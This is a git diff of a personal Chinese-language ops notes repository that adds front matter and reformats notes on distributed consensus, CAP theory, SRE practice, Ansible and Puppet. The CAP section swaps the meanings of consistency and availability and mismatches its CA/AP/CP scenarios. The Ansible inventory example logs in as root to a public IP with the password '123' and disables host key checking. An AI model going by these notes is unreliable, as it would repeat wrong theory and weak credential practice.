diff --git a/.mdformat.toml b/.mdformat.toml new file mode 100644 index 0000000..dcdd981 --- /dev/null +++ b/.mdformat.toml @@ -0,0 +1,3 @@ +end_of_line = "keep" +number = true +extensions = ["frontmatter"] \ No newline at end of file diff --git a/README-dev.md b/README-dev.md new file mode 100644 index 0000000..022b56d --- /dev/null +++ b/README-dev.md @@ -0,0 +1,13 @@ +--- +created_date: 2025-05-05 +--- + +[TOC] + +```sh +pip install mdformat==0.7.22 +pip install mdformat-frontmatter==2.0.8 + + +mdformat . +``` diff --git a/README.md b/README.md index 06e8594..ecfb6db 100644 --- a/README.md +++ b/README.md @@ -1,14 +1,20 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + ## 章节 -1. [blockchain 区块链相关笔记](/blockchain) -2. [cloud 公有云私有云平台相关笔记](/cloud) -3. [computer 计算机系统相关笔记](/computer) -4. [container 虚拟化容器编排相关笔记](/container) -5. [language 高级编程语言相关笔记](/language) -6. [linux Linux系统管理相关笔记](/linux) -7. [monitor 服务监控可视化相关笔记](/monitor) -8. [scripts 小脚本存档](/scripts) -9. [secure 安全渗透相关笔记](/secure) + +01. [blockchain 区块链相关笔记](/blockchain) +02. [cloud 公有云私有云平台相关笔记](/cloud) +03. [computer 计算机系统相关笔记](/computer) +04. [container 虚拟化容器编排相关笔记](/container) +05. [language 高级编程语言相关笔记](/language) +06. [linux Linux系统管理相关笔记](/linux) +07. [monitor 服务监控可视化相关笔记](/monitor) +08. [scripts 小脚本存档](/scripts) +09. [secure 安全渗透相关笔记](/secure) 10. [software 各种软件部署运维相关笔记](/software) 11. [advanced 理论知识的进一步深入相关笔记](/advanced) 12. [manage 运维规划管理相关笔记](/manage) - diff --git a/advanced/distribution.md b/advanced/distribution.md index 5d9d2a8..525ca69 100644 --- a/advanced/distribution.md +++ b/advanced/distribution.md @@ -1,54 +1,75 @@ +--- +created_date: 2023-03-10 +--- + +[TOC] + # 分布式算法 + ## Paxos + - 参考 - - https://lamport.azurewebsites.net/pubs/lamport-paxos.pdf - - https://lamport.azurewebsites.net/pubs/paxos-simple.pdf - + + - https://lamport.azurewebsites.net/pubs/lamport-paxos.pdf + - https://lamport.azurewebsites.net/pubs/paxos-simple.pdf + - 假设多个服务端节点,每个服务端节点都可以进行本地运算;多个客户端,每个客户端都可以请求任意一个服务端节点。 + ### 消息传递(客户端向服务端传递消息) + 1. 消息损坏 - - 解决办法:在消息中增加校验码 + + - 解决办法:在消息中增加校验码 + 2. 消息丢失 - - 解决办法:服务端接收到消息后向客户端发送确认消息;客户端一定时间内诺没有收到确认消息,则重发消息。 + + - 解决办法:服务端接收到消息后向客户端发送确认消息;客户端一定时间内诺没有收到确认消息,则重发消息。 + 3. 消息重复发送 - - 解决办法:每条消息内添加序列号,防止服务端重复执行指令。 + + - 解决办法:每条消息内添加序列号,防止服务端重复执行指令。 4. 消息延迟 - - 场景:不同服务端节点接收到不同客户端消息的时间点不一样,导致服务端节点间的数据不一致。 - - 解决办法:另所有指令在服务端节点上将被按序执行,简称为状态复制(主从复制) + + - 场景:不同服务端节点接收到不同客户端消息的时间点不一样,导致服务端节点间的数据不一致。 + - 解决办法:另所有指令在服务端节点上将被按序执行,简称为状态复制(主从复制) 5. 状态复制存在单节点故障 - - 解决办法:确保在任何时候只有一个客户端在发送消息。加锁、互斥。通过给所有的服务端节点添加锁。 + + - 解决办法:确保在任何时候只有一个客户端在发送消息。加锁、互斥。通过给所有的服务端节点添加锁。 6. 加锁存在一系列问题 - - 问题 - 1. 部分节点宕机,不反回锁。 - 2. 多个客户端都锁定了部分服务端节点。 - 3. 客户端释放锁之前就发生了故障。 - - 解决办法:通过朴素的基于票的协议 -7. 朴素的基于票的协议 -- 使用一个弱化形式的锁机制,票(Ticket)。 - - 服务端节点可以随时发布票,票可以是有先后顺序的。 - - 票是可以过期的。 - - 客户端向所有服务端节点请求一张票;当有收到过半数的票;则向所有服务器发送获得的票和指令;服务端节点检查票是否有效,有效则存储指令;过半数的服务端节点给客户端正反馈;客户端通知所有服务器执行指令。 + - 问题 + 1. 部分节点宕机,不反回锁。 + 2. 多个客户端都锁定了部分服务端节点。 + 3. 客户端释放锁之前就发生了故障。 + - 解决办法:通过朴素的基于票的协议 -8. 朴素的基于票的协议存在一个可能的问题。客户端通知所有服务端节点执行指令时,部分服务端节点的指令已经被另一个客户端更改。 +7. 朴素的基于票的协议 -- 使用一个弱化形式的锁机制,票(Ticket)。 + - 服务端节点可以随时发布票,票可以是有先后顺序的。 + - 票是可以过期的。 + - 客户端向所有服务端节点请求一张票;当有收到过半数的票;则向所有服务器发送获得的票和指令;服务端节点检查票是否有效,有效则存储指令;过半数的服务端节点给客户端正反馈;客户端通知所有服务器执行指令。 +8. 朴素的基于票的协议存在一个可能的问题。客户端通知所有服务端节点执行指令时,部分服务端节点的指令已经被另一个客户端更改。 ## raft协议 + - 是分布式数据一致性算法 - 是leader-follower模式 2. Raft 工作流程分为Propose,Append,Broadcast 和 Apply。 - 1. 客户发起交易,叫做 Propose - 2. 记录交易,这个叫做 Append - 3. 通知其他网点,这个叫做 Broadcast - 4. 等最后知道大部分网点都确认了这笔交易记录,就执行交易,也就是 Apply。 -2. + 1. 客户发起交易,叫做 Propose + 2. 记录交易,这个叫做 Append + 3. 通知其他网点,这个叫做 Broadcast + 4. 等最后知道大部分网点都确认了这笔交易记录,就执行交易,也就是 Apply。 + +3. + 对于客户 A,操作是 Propose,Append,Broadcast, Apply,对于客户 B 也是一样的流程,之前我们必须等 A 完成了,才能处理 B。 -3. +3\. Batch 如果很多客户同时要发起交易,那么我们可以将这些交易记录,用一个消息发送到其它网点,这样我们就不需要一个一个的发送消息了,这就是 Batch。 @@ -56,25 +77,31 @@ Batch 各个网点之间距离还是有点远的,消息传递的时间开销还是有点大的。使用 Batch 可以减少消息的发送次数,自然就能提高效率了。 # 分布式CAP理论 + - 分布式系统的定义: 一个系统的服务分布在联通的服务器节点上,服务之间通过消息传递进行通信和动作协调的系统。 - C Consistency 可用性。系统中的部分服务发生故障后,系统也能响应客户端的读写请求。 + - A Availability 数据一致性。系统中的所有服务,当进行数据处理时,持有的数据副本都是相同的。 + - P Partition tolerance 分区容错性。当服务器节点之间网络通信异常导致丢包、延迟、中断等时,不影响系统对外提供的服务。 - 分布式系统不能同时满足3个要求的根本原因:由于不同的服务设置在了不同的服务器节点上,存在网络延迟故障等。 + - 假设存在nodeA 和 nodeB 两个服务器节点,节点间相互同步数据保持数据的一致性。 - 满足CA:发生网络故障时,服务器节点间无法进行数据同步,但不影响,因为所有的服务都被部署在了同一个服务器节点上。 - 满足AP:发生网络故障时,服务器节点间无法进行数据同步,为了保持数据的一致性,停止对外提供服务。 - 满足CP:发生网络故障时,服务器节点间无法进行数据同步,为了对外提供服务,旧的数据被返回。 + 满足CA:发生网络故障时,服务器节点间无法进行数据同步,但不影响,因为所有的服务都被部署在了同一个服务器节点上。 + 满足AP:发生网络故障时,服务器节点间无法进行数据同步,为了保持数据的一致性,停止对外提供服务。 + 满足CP:发生网络故障时,服务器节点间无法进行数据同步,为了对外提供服务,旧的数据被返回。 # 微服务 + - 分而治之的思想。 - 一种架构风格,软件的开发模式。 - 行为:将集成所有功能的一个进程 按功能模块拆分为 多个进程。 -- 优点:可扩展,功能内聚,解耦,敏捷开发。 +- 优点:可扩展,功能内聚,解耦,敏捷开发。 - 缺点:进程间的通信带来了其它的问题,网络可靠性,通信安全,网络时延。 # 算法 -1. 一致性hash算法的目的 -相当于提供了一个虚拟的中间层,把虚拟的slot和真实的物理节点关联起来,当动态地添加和减少节点时,能够有效地减少数据的迁移量。 \ No newline at end of file + +1. 一致性hash算法的目的\ + 相当于提供了一个虚拟的中间层,把虚拟的slot和真实的物理节点关联起来,当动态地添加和减少节点时,能够有效地减少数据的迁移量。 diff --git a/advanced/software.md b/advanced/software.md index 99b6ed6..b811a72 100644 --- a/advanced/software.md +++ b/advanced/software.md @@ -1,3 +1,10 @@ +--- +created_date: 2023-08-07 +--- + +[TOC] + ## 链接 + 1. 软件2.0 https://karpathy.medium.com/software-2-0-a64152b37c35 -2. 通用人工智能 https://ywh1bkansf.feishu.cn/wiki/QPe5w5g7UisbEkkow8XcDmOpn8e \ No newline at end of file +2. 通用人工智能 https://ywh1bkansf.feishu.cn/wiki/QPe5w5g7UisbEkkow8XcDmOpn8e diff --git a/advanced/sre.md b/advanced/sre.md index 2ddeebe..9b82bab 100644 --- a/advanced/sre.md +++ b/advanced/sre.md @@ -1,250 +1,307 @@ +--- +created_date: 2021-08-19 +--- + +[TOC] + # SRE + - 参考 《SRE Google 运维解密》 - SRE 介绍 ## 认识运维 + - 软件的生命周期 - - 需求分析 需求分析工程师、产品经理 - - 软件设计 架构工程师 - - 程序编码 研发工程师 - - 软件测试 测试工程师 - - 运行维护 运维工程师 + + - 需求分析 需求分析工程师、产品经理 + - 软件设计 架构工程师 + - 程序编码 研发工程师 + - 软件测试 测试工程师 + - 运行维护 运维工程师 - 研发工程师和运维工程师的矛盾 - - 研发是由功能性需求(通常与业务需求直接相关)驱动的。渴望随时随地发布新功能,没有任何阻拦。 - - 运维是由非功能性需求(例如可获得性、可靠性、性能等)驱动的。希望一个东西在生产环境中正常工作了,就不要再进行任何改动。 + + - 研发是由功能性需求(通常与业务需求直接相关)驱动的。渴望随时随地发布新功能,没有任何阻拦。 + - 运维是由非功能性需求(例如可获得性、可靠性、性能等)驱动的。希望一个东西在生产环境中正常工作了,就不要再进行任何改动。 - 运维基本工作:发布、监控、日志、告警 - 运维职责 - - 保障业务系统的稳定性。 - - 加快业务对应用的迭代周期,提升IT对业务的支撑能力。 - - 给业务提供资源保障。 - - 减少费用支出。 + + - 保障业务系统的稳定性。 + - 加快业务对应用的迭代周期,提升IT对业务的支撑能力。 + - 给业务提供资源保障。 + - 减少费用支出。 - 运行维护是软件生命周期中持续时间最长的阶段,运维工程师是一个非常重要的角色。 ## 认识SRE + - 什么是SRE - - 站点可靠性工程师( Site Reliable Engineer ) - - SRE的职责是运维一个服务,该服务由相关的系统组件组成,为最终用户提供服务(可以是内部用户或者外部用户)。 - - SRE的终极责任是确保该服务可以正常运转。为达成这个目标,SRE需要完成以下一系列工作:开发监控系统,规划容量,处理紧急事件,确保事故根源被跟踪修复等。 + + - 站点可靠性工程师( Site Reliable Engineer ) + - SRE的职责是运维一个服务,该服务由相关的系统组件组成,为最终用户提供服务(可以是内部用户或者外部用户)。 + - SRE的终极责任是确保该服务可以正常运转。为达成这个目标,SRE需要完成以下一系列工作:开发监控系统,规划容量,处理紧急事件,确保事故根源被跟踪修复等。 - 什么是LCE - - 发布协调工程师( Launch Coodination Engineer ) - - LCE的职责是建立发布新服务检查列表,建立发布流程,变更管理,保障在快速迭代下服务的可靠性。 + + - 发布协调工程师( Launch Coodination Engineer ) + - LCE的职责是建立发布新服务检查列表,建立发布流程,变更管理,保障在快速迭代下服务的可靠性。 - 研发工程师和SRE工程师 - - 研发工程师:设计,构建软件系统。 - - SRE:专注于整个软件系统的生命周期管理,从设计一直到部署。 + + - 研发工程师:设计,构建软件系统。 + - SRE:专注于整个软件系统的生命周期管理,从设计一直到部署。 - SRE的基本工作 - - 深度参与开发阶段工作,对应用程序的设计实现方式、依赖库、运行时的资源消耗都有严格的规约。 - - 强调对问题和故障的自动处理,而非人工干预。 - - 按照SRE的约定,开发人员自行负责程序上线部署更新,毕竟开发人员对自己的程序更熟悉,易于处理程序上线过程遇到的问题。 + + - 深度参与开发阶段工作,对应用程序的设计实现方式、依赖库、运行时的资源消耗都有严格的规约。 + - 强调对问题和故障的自动处理,而非人工干预。 + - 按照SRE的约定,开发人员自行负责程序上线部署更新,毕竟开发人员对自己的程序更熟悉,易于处理程序上线过程遇到的问题。 - 优化工作 - - 可用性改进 - - 百分之百的可用性是不现实的,需要达到这个目标的成本通常远超于所能获得的价值,设置容错率,既保证用户体验又不影响创新和部署的速度。 SLO - - 延迟优化 - - 性能优化 - - 效率优化 - - 如果能够通过密切关注一个服务的容量配置策略,进而改进其资源利用率,这可以非常有效地降低系统的总成本。 + + - 可用性改进 + - 百分之百的可用性是不现实的,需要达到这个目标的成本通常远超于所能获得的价值,设置容错率,既保证用户体验又不影响创新和部署的速度。 SLO + - 延迟优化 + - 性能优化 + - 效率优化 + - 如果能够通过密切关注一个服务的容量配置策略,进而改进其资源利用率,这可以非常有效地降低系统的总成本。 - SRE终极目标 - - SRE团队应该倾向于将基本的运维工作全部消除,全力投入在研发任务上。 - - 目标是整个系统应该可以自主运行,可以自动修复问题。 - - 终极目标是推动整个系统趋向于无人化运行,而不仅仅是自动化某些人工流程。 + + - SRE团队应该倾向于将基本的运维工作全部消除,全力投入在研发任务上。 + - 目标是整个系统应该可以自主运行,可以自动修复问题。 + - 终极目标是推动整个系统趋向于无人化运行,而不仅仅是自动化某些人工流程。 ## 避免琐事 + - 琐事 - - 手动的,重复性的,可以被自动化的,战术上没有持久价值的工作。 + + - 手动的,重复性的,可以被自动化的,战术上没有持久价值的工作。 - 如何避免琐事 - - 负责运维的整个服务的团队成员必须要有足够的时间编程,否则他们会被运维工作所淹没。 - - 任何的手工操作必须控制在百分之50的时间内,至少保留百分之50的时间用于自动化开发上。 + + - 负责运维的整个服务的团队成员必须要有足够的时间编程,否则他们会被运维工作所淹没。 + - 任何的手工操作必须控制在百分之50的时间内,至少保留百分之50的时间用于自动化开发上。 + ### 工程化 + - 工程工作 - - 符合长期战略的,会对你的服务进行长久性改善的工作。 - - 通常是有创新性和创造性的,着重通过设计来解决问题,解决方案越通用越好。 - - 例如:编写优化自动化脚本;监控部署,系统参数调优,架构设计优化;自动化重复工作。 + + - 符合长期战略的,会对你的服务进行长久性改善的工作。 + - 通常是有创新性和创造性的,着重通过设计来解决问题,解决方案越通用越好。 + - 例如:编写优化自动化脚本;监控部署,系统参数调优,架构设计优化;自动化重复工作。 - 工程化 - - 使用软件工程的方法解决复杂的运维问题 - - 最简化 - - 法国诗人 Antoine de Saint Exupery 曾经写道:不是在不能添加更多的时候,而是没有什么可以去掉的时候,才能达到完美。这个原则同样适用于软件的设计和构建。例如API的参数最少化。 - - 模块化 + + - 使用软件工程的方法解决复杂的运维问题 + - 最简化 + - 法国诗人 Antoine de Saint Exupery 曾经写道:不是在不能添加更多的时候,而是没有什么可以去掉的时候,才能达到完美。这个原则同样适用于软件的设计和构建。例如API的参数最少化。 + - 模块化 + ### 自动化 + - 自动化的价值 - - 一致性 - - 平台性(可以理解为普遍性,广泛适用,符合成本收益) - - 修复速度更快,行动速度更快 - - 节省时间 -- 如果我们持续产生不可自动化的流程和解决方案,我们就继续需要人来进行系统维护,如果我们需要雇佣人来做这项工作,就像是用人类的鲜血、汗水和眼泪来养活机器。这就像一个没有特效但充满了愤怒的的系统管理员的Matrix世界。 - - 一位负责Google数据中心集群上线流程的SRE Joseph Bironas + - 一致性 + - 平台性(可以理解为普遍性,广泛适用,符合成本收益) + - 修复速度更快,行动速度更快 + - 节省时间 + +- 如果我们持续产生不可自动化的流程和解决方案,我们就继续需要人来进行系统维护,如果我们需要雇佣人来做这项工作,就像是用人类的鲜血、汗水和眼泪来养活机器。这就像一个没有特效但充满了愤怒的的系统管理员的Matrix世界。 + + - 一位负责Google数据中心集群上线流程的SRE Joseph Bironas - 演变:自动化、系统化、自治系统 - 1. 没有自动化 - 2. 外部脚本进行自动化 - 3. 外部通用脚本进行自动化 - 4. 系统内部脚本进行自动化 - 5. 系统内部机制自动化 + + 1. 没有自动化 + 2. 外部脚本进行自动化 + 3. 外部通用脚本进行自动化 + 4. 系统内部脚本进行自动化 + 5. 系统内部机制自动化 ## 监控 + - 监控的目的 - - 对真实问题进行报警 - - 临时性回溯分析(例如刚刚延迟大幅度增加,有什么其它的现象也发生了) - - 优化,对比服务更新前后的状态变化,新的版本是否让软件运行得更快? - - 例如观察某一个参数改变后产生的变化(跨时间范围的比较) - - 分析长期趋势,进行容量调整。 - - 检查资源使用量随着时间的变化情况,制定合理的资源变化策略。 + + - 对真实问题进行报警 + - 临时性回溯分析(例如刚刚延迟大幅度增加,有什么其它的现象也发生了) + - 优化,对比服务更新前后的状态变化,新的版本是否让软件运行得更快? + - 例如观察某一个参数改变后产生的变化(跨时间范围的比较) + - 分析长期趋势,进行容量调整。 + - 检查资源使用量随着时间的变化情况,制定合理的资源变化策略。 - 4个监控黄金指标 - - 延迟 - - 例如 站点平均响应时间等 - - 流量 - - 例如 每秒钟HTTP请求速率等 - - 错误 - - 例如 5XX返回码等 - - 饱和度 - - 例如 内存剩余量、CPU利用率等等 + + - 延迟 + - 例如 站点平均响应时间等 + - 流量 + - 例如 每秒钟HTTP请求速率等 + - 错误 + - 例如 5XX返回码等 + - 饱和度 + - 例如 内存剩余量、CPU利用率等等 - 注意:平均值、长尾值 - 简化,直到不能再简化 - - 一个季度内都没有使用到的指标可以评估是否删除掉 - - 这条告警是否可以通过自动化处理的方式解决 - - 收集的数据,却没有拿来 观察 或者 告警的可以评估是否删除掉 + + - 一个季度内都没有使用到的指标可以评估是否删除掉 + - 这条告警是否可以通过自动化处理的方式解决 + - 收集的数据,却没有拿来 观察 或者 告警的可以评估是否删除掉 - 服务健康指标 - - 低级需求:能够正常对外提供服务。 - - 高级需求:SRE能够主动控制服务状态,而不是被动救火。 + + - 低级需求:能够正常对外提供服务。 + - 高级需求:SRE能够主动控制服务状态,而不是被动救火。 - 监控系统:数据收集、数据存储、数据可视化、告警、事故跟踪 ## 发布工程 + - 角色: - - 统计发布速度... - - 发布流程 - - 代码发布 和 配置发布 的解耦 - 1. 发布 - 2. 执行单元测试/压测/审查代码 - 2. 编程成二进制文件 - 3. 系统级集成测试部署 - 4. 生产环境部署 - 4. 生成改动列表报告 + + - 统计发布速度... + - 发布流程 + - 代码发布 和 配置发布 的解耦 + 1. 发布 + 2. 执行单元测试/压测/审查代码 + 3. 编程成二进制文件 + 4. 系统级集成测试部署 + 5. 生产环境部署 + 6. 生成改动列表报告 - 任何组织都需要根据自生情况,寻求适合自己的发布流程策略。 - 迭代与稳定 - - 定制SLO(服务目标水平),根据实际情况,进行调节 - - 如果研发迭代导致的时间超过了我们这个月需要达到的服务目标水平,则停止这个月份的发布 - - 敏捷性是建立在稳定性之上的 + + - 定制SLO(服务目标水平),根据实际情况,进行调节 + - 如果研发迭代导致的时间超过了我们这个月需要达到的服务目标水平,则停止这个月份的发布 + - 敏捷性是建立在稳定性之上的 - 测试 - - 单元测试:某个函数、方法的测试 - - 集成测试:由多个单元测试组成 - - 系统测试 - - 冒烟测试:测试核心功能 - - 性能测试: - - 回归测试:测试之前发生过的bug,保证它不会再次发生 - - 生产测试 - - 配置测试:保证生产环境的配置被正确地加载了 - - 压力测试 - - 金丝雀测试:升级部分部署节点,控制流量流入新版本和旧版本的比例 + - 单元测试:某个函数、方法的测试 + - 集成测试:由多个单元测试组成 + - 系统测试 + - 冒烟测试:测试核心功能 + - 性能测试: + - 回归测试:测试之前发生过的bug,保证它不会再次发生 + - 生产测试 + - 配置测试:保证生产环境的配置被正确地加载了 + - 压力测试 + - 金丝雀测试:升级部分部署节点,控制流量流入新版本和旧版本的比例 ## oncall + - 紧急事件 - - 东西早晚要坏的,这就是生活。 - - 故障演练,灾难恢复演习,假设可能的问题发生。 + + - 东西早晚要坏的,这就是生活。 + - 故障演练,灾难恢复演习,假设可能的问题发生。 - 在进行oncall时,SRE需要动手运维系统,观察和调整系统的弱点,以及理解如何能大规模扩展这些系统。 - 根本性地解决问题:在每8~12小时的on-call期间,最多只处理2个紧急事件,这个准则保证on-call工程师有足够的时间根据紧急事件,正确地处理故障,恢复故障,撰写一份事后报告。 - 故障报告 - - 内容:事故发生,问题发现,解决的全过程,事故的根本原因,预防或者优化的解决方案。 - - 每份事故报告需要被他人审核。 + + - 内容:事故发生,问题发现,解决的全过程,事故的根本原因,预防或者优化的解决方案。 + - 每份事故报告需要被他人审核。 - oncall-培训-例如维护 XXXXX 项目 - - 故障手册 - - 阅读并理解以下文档 - - 数据流程图(从客户端请求到结果返回) - - 发布流程 - - 紧急情况的演练 - - 回答以下综合性问题 - - XXXXX 项目部署在哪个集群里,如何登入这个集群的生产环境 - - 有一条紧急告警”XXXXX 项目 5xx返回码数量1分钟内大于100条“,如何处理 - - 该项目的哪些方面可以简化或者自动化 + + - 故障手册 + - 阅读并理解以下文档 + - 数据流程图(从客户端请求到结果返回) + - 发布流程 + - 紧急情况的演练 + - 回答以下综合性问题 + - XXXXX 项目部署在哪个集群里,如何登入这个集群的生产环境 + - 有一条紧急告警”XXXXX 项目 5xx返回码数量1分钟内大于100条“,如何处理 + - 该项目的哪些方面可以简化或者自动化 ## 团队管理 -- 主动性SRE工作包括:软件自动化、架构设计咨询、发布流程协调等。 -- 被动性SRE工作包括:在线调试、故障排除、处理on-call情况等等。 + +- 主动性SRE工作包括:软件自动化、架构设计咨询、发布流程协调等。 + +- 被动性SRE工作包括:在线调试、故障排除、处理on-call情况等等。 - 中断性工作会导致工程师的上下文切换(工作类型、工作环境的改变),犹如CPU需要为不同的线程计算进行切换。 + - 计划性工作。 - 保持团队人员的多样性,系统工程师,软件工程师。注意团队成员间的沟通,防止认知偏差。 - 接手一个项目的运维,评审 - - 系统的体系结构和跨服务依赖 - - 指标的选择,度量,监控 - - 紧急事件处理 - - 容量规划 - - 变更管理 - - 性能:可用性、延迟和资源效率 - - SLO + + - 系统的体系结构和跨服务依赖 + - 指标的选择,度量,监控 + - 紧急事件处理 + - 容量规划 + - 变更管理 + - 性能:可用性、延迟和资源效率 + - SLO - 牺牲工程实践而做琐事,会对SRE组织整体的发展造成损害。 ## K8S + - 为什么需要K8S - - 将硬件和软件进行解耦 - - 业务团队运行软件服务时不需要担心硬件故障 - - 容器编排,自动重启,快速扩容,生命式管理服务,服务健康检查自动修复... + + - 将硬件和软件进行解耦 + - 业务团队运行软件服务时不需要担心硬件故障 + - 容器编排,自动重启,快速扩容,生命式管理服务,服务健康检查自动修复... - 为什么需要request和limit - - 一个缓慢的不断重启的Pod,要好过一个永远不重启一直泄露资源的Pod。 + + - 一个缓慢的不断重启的Pod,要好过一个永远不重启一直泄露资源的Pod。 + ## 其它章节 + - 负载均衡 - - 有质量的回复 - - 前端服务器负载均衡 - - 后端负载均衡 - - 应对过载 - - 处理连锁故障 + + - 有质量的回复 + - 前端服务器负载均衡 + - 后端负载均衡 + - 应对过载 + - 处理连锁故障 - 分布式 - - 分布式共识机制 -- 数据完整性 - - 交付一个恢复系统,而不是备份系统 + - 分布式共识机制 +- 数据完整性 + - 交付一个恢复系统,而不是备份系统 ## 当前问题 + - 面临的挑战 - ```bash - 数据库瓶颈,顶配数据库空间仍然无法支撑业务发展。 - 慢SQL数量爆发式增长,应用稳定性岌岌可危。 - # 全链路预警信息最多每天200+,系统隐患逐步暴雷。 - 人工运维频率高,研发幸福感下降。 - 长尾请求严重影响服务质量,5XX错误持续走高,影响客户体验。 - # 不一致性资源长期无法收敛,资损无法解决。 - ``` + ```bash + 数据库瓶颈,顶配数据库空间仍然无法支撑业务发展。 + 慢SQL数量爆发式增长,应用稳定性岌岌可危。 + # 全链路预警信息最多每天200+,系统隐患逐步暴雷。 + 人工运维频率高,研发幸福感下降。 + 长尾请求严重影响服务质量,5XX错误持续走高,影响客户体验。 + # 不一致性资源长期无法收敛,资损无法解决。 + ``` 1. 解决 创建用户,分配权限 琐事。 - - 自动化创建用户/权限分配系统 - - 核心是:通过调用jenkins、yearning等平台的接口,自动创建并且分配初始化权限。 + + - 自动化创建用户/权限分配系统 + - 核心是:通过调用jenkins、yearning等平台的接口,自动创建并且分配初始化权限。 2. 解决投放广告带来的流量激增 - - 广告系统对接K8S系统,当运营人员点击投放广告时;程序先自动触发Pod的扩容,当扩容完成后,再投广告,避免流量突增导致异常。 + + - 广告系统对接K8S系统,当运营人员点击投放广告时;程序先自动触发Pod的扩容,当扩容完成后,再投广告,避免流量突增导致异常。 3. 网站崩了,为什么终端用户不能继续进行搜索游览商品(故障容忍度) - - 当主库崩了,切换到从库,代码开启只读模式,web界面上方标注维护模式,用户只能进行不需要数据库insert和update操作的行为 - - 诺出现数据库insert和update操作的行为,则提示系统维护中,需要等待一段时间 + + - 当主库崩了,切换到从库,代码开启只读模式,web界面上方标注维护模式,用户只能进行不需要数据库insert和update操作的行为 + - 诺出现数据库insert和update操作的行为,则提示系统维护中,需要等待一段时间 4. 故障总结与新员工 - - 我们的故障总结不够详细 - - 如果我们的故障总结足够详细,那么在新员工进行on-call前,通过阅读之前的故障总结能获得一定的帮助。 + + - 我们的故障总结不够详细 + - 如果我们的故障总结足够详细,那么在新员工进行on-call前,通过阅读之前的故障总结能获得一定的帮助。 diff --git a/advanced/term.md b/advanced/term.md index 0522f61..d477687 100644 --- a/advanced/term.md +++ b/advanced/term.md @@ -1,7 +1,13 @@ +--- +created_date: 2021-12-21 +--- + +[TOC] + 1. ASN 自治系统号(Autonomous System Number) 2. IDC 网络数据中心(Internet Data Center) 3. ISP 互联网接入服务商(Internet Server Provider) -4. KYC 身份认证(Know Your Customer) \ No newline at end of file +4. KYC 身份认证(Know Your Customer) diff --git a/auto/auto-tools/config/ansible.md b/auto/auto-tools/config/ansible.md index b1900ea..2a25fd8 100644 --- a/auto/auto-tools/config/ansible.md +++ b/auto/auto-tools/config/ansible.md @@ -1,11 +1,20 @@ +--- +created_date: 2024-11-19 +--- + +[TOC] + # Ansible + - 参考 - https://docs.ansible.com/ansible/latest/installation_guide/index.html ## 安装 + - 版本 https://releases.ansible.com/ansible/rpm/release/epel-7-x86_64/ ### 离线安装ansible + ```bash # 1在有网的机器上执行的操作 yum -y install ansible --downloadonly --downloaddir /opt/ansible-pac @@ -38,50 +47,57 @@ yum install ansible ## 操作 ### 目录结构 -- ansible.cfg 公共配置 + +- ansible.cfg 公共配置 - inventory - playbooks.yaml - vars/ - roles/ - - role_name_1/tasks/main.yaml - - role_name_1/handlers/main.yaml - - role_name_1/templates/*.j2 - - role_name_1/files/ - - role_name_2/main.yaml - -1. ansible.cfg - ```conf - [defaults] - host_key_checking = False - ssh_args = -C -o ControlMaster=auto -o ControlPersist=1d - ``` + - role_name_1/tasks/main.yaml + - role_name_1/handlers/main.yaml + - role_name_1/templates/\*.j2 + - role_name_1/files/ + - role_name_2/main.yaml + +1. ansible.cfg + +```conf +[defaults] +host_key_checking = False +ssh_args = -C -o ControlMaster=auto -o ControlPersist=1d +``` + 2. inventory - ```conf - [组名] - localhost ansible_connection=local - 39.107.74.200 ansible_connection=ssh ansible_ssh_user=root ansible_ssh_pass='123' ansible_sudo_pass='123' - 39.107.74.200 ansible_connection=ssh ansible_ssh_user=root ansible_ssh_private_key_file=~/.ssh/keyfile.pem - [组名:vars] - ``` + +```conf +[组名] +localhost ansible_connection=local +39.107.74.200 ansible_connection=ssh ansible_ssh_user=root ansible_ssh_pass='123' ansible_sudo_pass='123' +39.107.74.200 ansible_connection=ssh ansible_ssh_user=root ansible_ssh_private_key_file=~/.ssh/keyfile.pem +[组名:vars] +``` 3. playbooks.yaml - ```yaml - - name: Init - hosts: default - gather_facts: no - roles: - - role_name_1 - - role_name_2 - ``` + +```yaml +- name: Init + hosts: default + gather_facts: no + roles: + - role_name_1 + - role_name_2 +``` 4. /role_name_2/main.yaml - ```yaml - - name: Update apt cache. - apt: update_cache=yes cache_valid_time=86400 - changed_when: false - ``` + +```yaml +- name: Update apt cache. + apt: update_cache=yes cache_valid_time=86400 + changed_when: false +``` ### 一个简单的剧本 + ```yaml #!/usr/bin/env ansible-playbook - name: set_host @@ -93,11 +109,15 @@ yum install ansible - name: set_host_1 shell: array_doamin=('master.garys.top') && for domain in ${array_doamin[@]};do sed -i "/ ${domain}/c\\{{ domain_ip }} ${domain}" /etc/hosts; done ``` + ```bash ansible-playbook -i hosts simple.yaml --key-file .test_rsa.pem -e domain_ip=5.5.5.6 ``` + ### 指令 + - ansible 指令 + ```bash # 运行剧本 ansible-playbook apply-role.yml -e host=127.0.0.1,127.0.0.2 -e @'vars/DMZ' -e role=filebeat @@ -118,22 +138,22 @@ ansible-playbook --syntax-check when_mc.yaml ``` - ansible-doc 指令 - - 查看模块的文档 - - ansible-doc 模块名 -- ansible-lint 指令 - - 需要安装ansible-lint的软件包 - - ansible-lint 是一个对playbook的语法进行检查的工具。 + - 查看模块的文档 + - ansible-doc 模块名 -### 语法 -1. 运行时有效的模块 - - add_host - - group_by +- ansible-lint 指令 -2. 获取fact的参数:register + - 需要安装ansible-lint的软件包 + - ansible-lint 是一个对playbook的语法进行检查的工具。 -3. 保存所有主机的facts: hostvars +### 语法 +1. 运行时有效的模块 + - add_host + - group_by +2. 获取fact的参数:register +3. 保存所有主机的facts: hostvars diff --git a/auto/auto-tools/config/puppet.md b/auto/auto-tools/config/puppet.md index 1f732db..1643aab 100644 --- a/auto/auto-tools/config/puppet.md +++ b/auto/auto-tools/config/puppet.md @@ -1,19 +1,30 @@ +--- +created_date: 2024-11-19 +--- + +[TOC] + # puppet + - 参考文档 -https://www.cnblogs.com/along21/p/10369858.html + https://www.cnblogs.com/along21/p/10369858.html + ## 总览 + 1. 名词解释 -资源:是puppet的核心,通过资源申报,定义在资源清单中。相当于ansible中的模块,只是抽象的更加彻底。 -类:一组资源清单。相当于ansible的剧本。 -模块:包含多个类。相当于ansible中的角色。 -站点清单:以主机为核心,应用哪些模块。 + 资源:是puppet的核心,通过资源申报,定义在资源清单中。相当于ansible中的模块,只是抽象的更加彻底。 + 类:一组资源清单。相当于ansible的剧本。 + 模块:包含多个类。相当于ansible中的角色。 + 站点清单:以主机为核心,应用哪些模块。 资源清单manifest:puppet的程序文件,以.pp作为文件名后缀 2. master/agent模型 